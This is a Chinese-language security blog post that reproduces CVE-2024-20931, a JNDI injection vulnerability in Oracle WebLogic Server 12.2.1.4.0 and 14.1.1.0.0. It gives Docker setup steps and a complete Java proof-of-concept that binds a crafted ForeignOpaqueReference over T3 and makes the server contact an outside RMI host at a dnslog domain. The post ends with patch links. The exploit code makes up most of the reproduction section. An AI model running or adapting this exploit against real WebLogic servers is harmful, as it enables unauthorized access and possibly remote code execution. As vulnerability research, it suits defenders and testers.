0x00写在前面
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
0x01漏洞介绍
Oracle Fusion Middleware(Oracle融合中间件)和Oracle WebLogic Server都是美国甲骨文(Oracle)公司的产品。Oracle Fusion Middleware是一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。
Oracle Fusion Middleware 的 Oracle WebLogic Server 12.2.1.4.0版本、14.1.1.0.0版本存在安全漏洞。攻击者利用该漏洞可以访问敏感数据。
0x02影响版本
Oracle Fusion Middleware 14.1.1.0.0
Oracle Fusion Middleware 12.2.1.4.0
0x03漏洞复现
docker环境搭建
docker pull ismaleiva90/weblogic12 docker run -dit -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest
1.访问漏洞环境
http://192.168.86.6:7001/console/login/LoginForm.jsp
2.对漏洞进行复现
poc代码
package com.supeream; import weblogic.deployment.jms.ForeignOpaqueReference; import javax.naming.Context; import javax.naming.InitialContext; import java.lang.reflect.Field; import java.util.Hashtable; public class CVE_2024_209321 { public static void main(String[] args) throws Exception { String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; // 创建用来远程绑定对象的InitialContext String url = "t3://192.168.86.6:7001/"; // 目标机器 Hashtable env1 = new Hashtable(); env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env1.put(Context.PROVIDER_URL, url); // 目标 InitialContext c = new InitialContext(env1); // ForeignOpaqueReference的jndiEnvironment属性 Hashtable env2 = new Hashtable(); env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory"); env2.put("datasource", "rmi://jwbye8.dnslog.cn/mt"); // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性 ForeignOpaqueReference f = new ForeignOpaqueReference(); Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f, env2); Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); remoteJNDIName.setAccessible(true); String ldap = "rmi://jwbye8.dnslog.cn/mt"; remoteJNDIName.set(f, ldap); // 远程绑定ForeignOpaqueReference对象 c.rebind("glassy", f); // lookup查询ForeignOpaqueReference对象 try { c.lookup("glassy"); } catch (Exception e) { } } }
测试DNSlog(漏洞存在)执行poc java代码
注:注意依赖文件的加载
dnslog回显漏洞存在
3.工具测试(漏洞存在)
dnslog回显
注:流量数据如下
0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.oracle.com/security-alerts/cpujan2024.html
https://github.com/dinosn/CVE-2024-20931
https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/